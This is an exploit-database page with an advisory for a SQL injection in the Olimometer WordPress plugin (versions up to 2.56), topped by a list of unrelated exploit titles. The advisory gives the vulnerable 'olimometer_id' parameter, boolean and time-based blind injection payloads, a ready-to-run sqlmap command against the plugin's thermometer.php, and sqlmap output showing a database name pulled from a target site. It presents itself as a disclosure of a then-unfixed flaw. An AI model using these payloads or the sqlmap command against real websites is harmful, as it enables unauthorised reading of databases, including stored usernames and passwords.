9d143a6b42
22 changes to exploits/shellcodes Microsoft SQL Server Management Studio 17.9 - XML External Entity Injection Microsoft SQL Server Management Studio 17.9 - '.xel' XML External Entity Injection Microsoft SQL Server Management Studio 17.9 - '.xmla' XML External Entity Injection Wikidforum 2.20 - Cross-Site Scripting WAGO 750-881 01.09.18 - Cross-Site Scripting E-Registrasi Pencak Silat 18.10 - 'id_partai' SQL Injection jQuery-File-Upload 9.22.0 - Arbitrary File Upload Phoenix Contact WebVisit 6.40.00 - Password Disclosure HaPe PKH 1.1 - 'id' SQL Injection LUYA CMS 1.0.12 - Cross-Site Scripting Phoenix Contact WebVisit 2985725 - Authentication Bypass HaPe PKH 1.1 - Cross-Site Request Forgery (Update Admin) CAMALEON CMS 2.4 - Cross-Site Scripting HaPe PKH 1.1 - Arbitrary File Upload SugarCRM 6.5.26 - Cross-Site Scripting FluxBB < 1.5.6 - SQL Injection
114 lines
No EOL
3.4 KiB
Text
114 lines
No EOL
3.4 KiB
Text
# Exploit Title: Olimometer Plugin for WordPress – Sql Injection
|
||
# Date: 14/11/2016
|
||
# Exploit Author: TAD GROUP
|
||
# Vendor Homepage: https://wordpress.org/plugins/olimometer/
|
||
# Software Link: https://wordpress.org/plugins/olimometer/
|
||
# Contact: info[at]tad.group
|
||
# Website: https://tad.group
|
||
# Category: Web Application Exploits
|
||
# Tested on: Debian 8
|
||
|
||
|
||
1 - Description
|
||
|
||
# Vulnerable parameter: olimometer_id=
|
||
|
||
Parameter: olimometer_id (GET)
|
||
Type: boolean-based blind
|
||
Title: AND boolean-based blind - WHERE or HAVING clause
|
||
Payload: olimometer_id=1 AND 6227=6227
|
||
|
||
Type: AND/OR time-based blind
|
||
Title: MySQL >= 5.0.12 AND time-based blind
|
||
Payload: olimometer_id=1 AND SLEEP(5)
|
||
|
||
Using GET SQL Method with the "olimometer_id" parameter, we were able to
|
||
get the database name from the EXAMPLE.COM website . By further running
|
||
SQL Map using different arguments, we would be able to get the complete
|
||
database, including usernames and passwords if there are such.
|
||
|
||
2. Proof of Concept
|
||
|
||
Using the website EXAMPLE.COM for example, we can fire up sqlmap and set
|
||
the full path to the vulnerable parameter:
|
||
|
||
root@kali:~# sqlmap -u
|
||
http://EXAMPLE.COM/wp-content/plugins/olimometer/thermometer.php?olimometer_
|
||
id=1
|
||
--dbs --threads=5 --random-agent --no-cast
|
||
|
||
---
|
||
Parameter: olimometer_id (GET)
|
||
Type: boolean-based blind
|
||
Title: AND boolean-based blind - WHERE or HAVING clause
|
||
Payload: olimometer_id=1 AND 6227=6227
|
||
|
||
Type: AND/OR time-based blind
|
||
Title: MySQL >= 5.0.12 AND time-based blind
|
||
Payload: olimometer_id=1 AND SLEEP(5)
|
||
---
|
||
[11:14:21] [INFO] the back-end DBMS is MySQL
|
||
web application technology: Nginx
|
||
back-end DBMS: MySQL >= 5.0.12
|
||
[11:14:21] [INFO] fetching database names
|
||
[11:14:21] [INFO] fetching number of databases
|
||
[11:14:21] [INFO] retrieved:
|
||
[11:14:21] [WARNING] multi-threading is considered unsafe in time-based
|
||
data retrieval. Going to switch it off automatically
|
||
[11:14:21] [WARNING] (case) time-based comparison requires larger
|
||
statistical model, please wait.............................. (done)
|
||
[11:14:26] [WARNING] it is very important to not stress the network
|
||
adapter during usage of time-based payloads to prevent potential disruptions
|
||
[11:14:26] [ERROR] unable to retrieve the number of databases
|
||
[11:14:26] [INFO] falling back to current database
|
||
[11:14:26] [INFO] fetching current database
|
||
[11:14:26] [INFO] retrieving the length of query output
|
||
[11:14:26] [INFO] retrieved:
|
||
[11:14:28] [INFO] heuristics detected web page charset 'ascii'
|
||
14
|
||
[11:15:26] [INFO] retrieved: *****_wrdp1
|
||
available databases [1]:
|
||
[*] *****_wrdp1
|
||
|
||
We can see that we have successfully discovered one available database
|
||
with the name: "*****_wrdp1"
|
||
|
||
3. Type of vulnerability:
|
||
|
||
An SQL Injection vulnerability in Olimometer allows attackers to read
|
||
arbitrary data from the database.
|
||
|
||
4. Exploitation vector:
|
||
|
||
The url parameter 'olimometer_id=' of the
|
||
/wp-content/plugins/olimometer/thermometer.php?olimometer_id=1 is
|
||
vulnerable to SQLI.
|
||
|
||
5. Attack outcome:
|
||
|
||
An attacker can read arbitrary data from the database. If the webserver
|
||
is misconfigured, read & write access the filesystem may be possible.
|
||
|
||
6. Impact:
|
||
|
||
Critical
|
||
|
||
7. Software/Product name:
|
||
|
||
Olimometer Plugin for WordPress
|
||
|
||
8. Affected versions:
|
||
|
||
<= 2.56
|
||
|
||
9. Fixed in version:
|
||
|
||
Not fixed at the date of submitting that exploit.
|
||
|
||
10. Vendor:
|
||
|
||
oshingler
|
||
|
||
11. CVE number:
|
||
|
||
Not existing |